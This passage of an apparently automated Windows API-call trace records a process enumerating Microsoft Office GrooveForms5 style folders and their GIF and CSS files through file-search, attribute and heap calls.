lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0076.980] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0076.981] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0076.981] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0076.981] GetLastError () returned 0x12 [0076.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2160) returned 1 [0076.981] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0076.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2058) returned 1 [0076.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0076.981] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightOrange.css", cAlternateFileName="")) returned 1 [0076.981] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd502390, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightYellow", cAlternateFileName="")) returned 1 [0076.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0076.981] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd502390, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0077.081] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0077.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xac6908 [0077.087] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xac6908, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0xac6908, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0077.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac6908) returned 1 [0077.088] NtClose (Handle=0x168) returned 0x0 [0077.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0077.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0077.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2058 [0077.490] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0077.491] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd502390, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.491] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16f, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0077.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2160 [0077.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf700 [0077.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2ec8 [0077.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.491] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0077.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf720 [0077.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2fd0 [0077.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.492] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0077.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf740 [0077.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a30d8 [0077.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.492] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0077.493] GetLastError () returned 0x12 [0077.493] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0077.493] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0077.493] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd502390, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.493] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16f, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0077.493] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0077.493] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0077.493] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0077.493] GetLastError () returned 0x12 [0077.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2058) returned 1 [0077.493] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0077.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2160) returned 1 [0077.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0077.493] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd03, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightYellow.css", cAlternateFileName="")) returned 1 [0077.493] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x766, dwReserved0=0x0, dwReserved1=0x0, cFileName="Casual.css", cAlternateFileName="")) returned 1 [0077.493] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert", cAlternateFileName="")) returned 1 [0077.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0077.494] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0077.537] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0077.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xac6908 [0077.538] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xac6908, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0xac6908, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0077.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac6908) returned 1 [0077.538] NtClose (Handle=0x178) returned 0x0 [0077.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0077.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0077.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2160 [0077.538] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0077.538] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.539] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x94, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0077.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2058 [0077.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf760 [0077.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a31e0 [0077.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.539] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0077.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf780 [0077.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a32e8 [0077.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.540] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0077.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf7a0 [0077.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a33f0 [0077.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.540] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0077.540] GetLastError () returned 0x12 [0077.540] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0077.540] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0077.541] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.541] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x94, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0077.541] FindNextFileW (in: hFindFile=0x2e9040, 